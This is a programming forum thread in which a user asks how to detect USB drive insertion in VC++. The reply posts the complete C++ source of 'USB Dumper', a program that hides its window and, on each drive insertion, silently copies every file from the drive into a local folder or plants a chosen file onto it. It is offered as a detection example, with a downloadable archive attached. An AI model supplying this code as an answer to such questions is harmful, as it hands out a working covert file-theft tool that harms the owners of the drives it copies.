Total members 11894 |It is currently Fri Nov 22, 2024 11:15 pm Login / Join Codemiles

Java

C/C++

PHP

C#

HTML

CSS

ASP

Javascript

JQuery

AJAX

XSD

Python

Matlab

R Scripts

Weka





Is it possible in VC++, to detecting when drives are added or removed.
For example the USB is insert/remove, how to check the drive detection in VC++.

Thanx in Advance

Regards,
Kaviurs




Author:
Newbie
User avatar Posts: 10
Have thanks: 0 time

To detect USB plug-in/out you can also use Hooking method, best example is uploaded and you will find a pdf explaining how to do that
cpp code
#include <windows.h>
#include <dbt.h>
#include <direct.h>
#include <stdio.h>


char dir[260];
char szFile[255] = "";


// Function prototype
LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam);
char FirstDriveFromMask (ULONG unitmask);
void GetFile(char* FilePath);
void CreateDir(char * path);
void Copy(char* FileName);



int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
{
MSG msg; // MSG structure to store messages
HWND hwndMain; // Main window handle
WNDCLASSEX wcx; // WINDOW class information
HDEVNOTIFY hDevnotify;
DWORD len;

DEV_BROADCAST_DEVICEINTERFACE NotificationFilter;

// 53F56307-B6BF-11D0-94F2-00A0C91EFB8B
GUID FilterGUID = {0x53F56307,0x0B6BF,0x11D0,{0x94,0xF2,0x00,0xA0,0xC9,0x1E,0xFB,0x8B}};


printf("\n>> USB Dumper by Valgasu <<\n\n");


// Get command line
if (lpCmdLine[0] != '\0') {
strcpy(szFile, lpCmdLine);
}

// Initialize the struct to zero
ZeroMemory(&wcx,sizeof(WNDCLASSEX));

wcx.cbSize = sizeof(WNDCLASSEX); // Window size. Must always be sizeof(WNDCLASSEX)
wcx.style = 0 ; // Class styles
wcx.lpfnWndProc = (WNDPROC)MainWndProc; // Pointer to the callback procedure
wcx.cbClsExtra = 0; // Extra byte to allocate following the wndclassex structure
wcx.cbWndExtra = 0; // Extra byte to allocate following an instance of the structure
wcx.hInstance = hInstance; // Instance of the application
wcx.hIcon = NULL; // Class Icon
wcx.hCursor = NULL; // Class Cursor
wcx.hbrBackground = NULL; // Background brush
wcx.lpszMenuName = NULL; // Menu resource
wcx.lpszClassName = "USB"; // Name of this class
wcx.hIconSm = NULL; // Small icon for this class

// Register this window class with MS-Windows
if (!RegisterClassEx(&wcx))
return 0;

// Create the window
hwndMain = CreateWindowEx(0,// Extended window style
"USB", // Window class name
"", // Window title
WS_POPUP, // Window style
0,0, // (x,y) pos of the window
0,0, // Width and height of the window
NULL, // HWND of the parent window (can be null also)
NULL, // Handle to menu
hInstance, // Handle to application instance
NULL); // Pointer to window creation data

// Check if window creation was successful
if (!hwndMain)
return 0;

// Make the window invisible
ShowWindow(hwndMain,SW_HIDE);

// Initialize device class structure
len = sizeof(DEV_BROADCAST_DEVICEINTERFACE);
memset(&NotificationFilter,0,len);

NotificationFilter.dbcc_size = 0x20;
NotificationFilter.dbcc_devicetype = 5; // DBT_DEVTYP_DEVICEINTERFACE;
NotificationFilter.dbcc_classguid = FilterGUID;

// Register
hDevnotify = RegisterDeviceNotification(hwndMain, &NotificationFilter, DEVICE_NOTIFY_WINDOW_HANDLE);

if(hDevnotify == NULL)
return 0;

// Process messages coming to this window
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}

// return value to the system
return msg.wParam;
}


LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam)
{
char szMsg[80];
char szFileDest[255];
char drive;
char szDrive[20];
char dtime[20];
char temp[10];
SYSTEMTIME st;
PDEV_BROADCAST_VOLUME PdevVolume;
PDEV_BROADCAST_DEVICEINTERFACE PdevDEVICEINTERFACE;


switch (msg)
{
case WM_DEVICECHANGE:
switch(wParam)
{
// A device or piece of media has been inserted and is now available
case DBT_DEVICEARRIVAL:
PdevDEVICEINTERFACE = (PDEV_BROADCAST_DEVICEINTERFACE)lParam;

switch(PdevDEVICEINTERFACE->dbcc_devicetype)
{
// Class of devices
case DBT_DEVTYP_DEVICEINTERFACE:
// MessageBox(NULL, PdevDEVICEINTERFACE->dbcc_name, "DEBUG", MB_OK);
break;

// Logical volume
case DBT_DEVTYP_VOLUME:
PdevVolume = (PDEV_BROADCAST_VOLUME)lParam;
drive = FirstDriveFromMask(PdevVolume ->dbcv_unitmask);
wsprintf(szDrive, "%c:\\", drive);
wsprintf(szMsg, "Drive %s connected\n", szDrive);

// MessageBox (NULL, szMsg, "WM_DEVICECHANGE", MB_OK);

GetLocalTime(&st);
itoa(st.wYear, temp, 10);
strcpy(dtime, temp);
itoa(st.wMonth, temp, 10);
strcat(dtime, temp);
itoa(st.wDay, temp, 10);
strcat(dtime , temp);
_mkdir(dtime);
_getcwd(dir, 260);
strcat(dir, "\\");
strcat(dir, dtime );
strcat(dir, "\\" );

// Check command line
if (strcmp(szFile, "") != 0) {
wsprintf(szFileDest, "%s%s", szDrive, szFile);
//MessageBox(NULL, szFileDest, "DEBUG", MB_OK);
CopyFile(szFile, szFileDest, FALSE);
}
else {
GetFile(szDrive);
}

}
break;
}
break;

default:
// Call the default window handler
return DefWindowProc(hwnd,msg,wParam,lParam);
}

return 0;
}


char FirstDriveFromMask (ULONG unitmask)
{
char i;

for (i = 0 ; i < 26 ; ++i)
{
if (unitmask & 0x1)
break;
unitmask = unitmask >> 1;
}

return (i + 'A');
}


void Copy(char* FileName)
{
char dir2[260];
char* temp;


temp = strchr(FileName, '\\');
strcpy(dir2, dir);
temp++;
strcat(dir2, temp);
CopyFile(FileName, dir2, 1);
}


void CreateDir(char * path)
{
char temp2[260];
char* temp;


temp = strchr(path, '\\');
strcpy(temp2, dir);
temp++;
strcat(temp2, temp);
_mkdir(temp2);
}


void GetFile(char* FilePath)
{
char temp[260];
char temp1[260];
HANDLE hFind;
WIN32_FIND_DATA FindFileData;


strcpy(temp, FilePath);
strcat(temp, "*");

hFind = FindFirstFile(temp, &FindFileData);

if (hFind != INVALID_HANDLE_VALUE) {

do {
strcpy(temp1, FilePath);
strcat(temp1, FindFileData.cFileName);

if(strcmp(FindFileData.cFileName, ".") != 0 && strcmp(FindFileData.cFileName, "..") != 0) {

if (FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {
strcat(temp1, "\\");
CreateDir(temp1);
GetFile(temp1);

}
else {
Copy(temp1);
}
}
}
while(FindNextFile(hFind, &FindFileData));

}

FindClose(hFind);
}




Attachments:
USBDumper.rar [56.31 KiB]
Downloaded 793 times
usb-detection.rar [74.88 KiB]
Downloaded 36313 times

_________________
Please recommend my post if you found it helpful. ,
java,j2ee,ccna ,ccnp certified .
Author:
Expert
User avatar Posts: 838
Have thanks: 2 time

Dear friend,

Thanks for your information.

Regards,
Kaviurs



Author:
Newbie
User avatar Posts: 10
Have thanks: 0 time
Post new topic Reply to topic  [ 3 posts ] 

  Related Posts  to : C++ code Detecting Drives when when drives are added
 new topics added in j2se5     -  
 detecting worms in websites     -  
 Detecting right mouse button click     -  
 i want code for connecting mobile and pc can u send me code     -  
 Freeman chain code algorithm code     -  
 code     -  
 asking for code     -  
 Code of stack     -  
 US Zip Code Validation     -  
 polyalphabetic J# Code     -  









Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group
All copyrights reserved to codemiles.com 2007-2011
mileX v1.0 designed by codemiles team
Codemiles.com is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com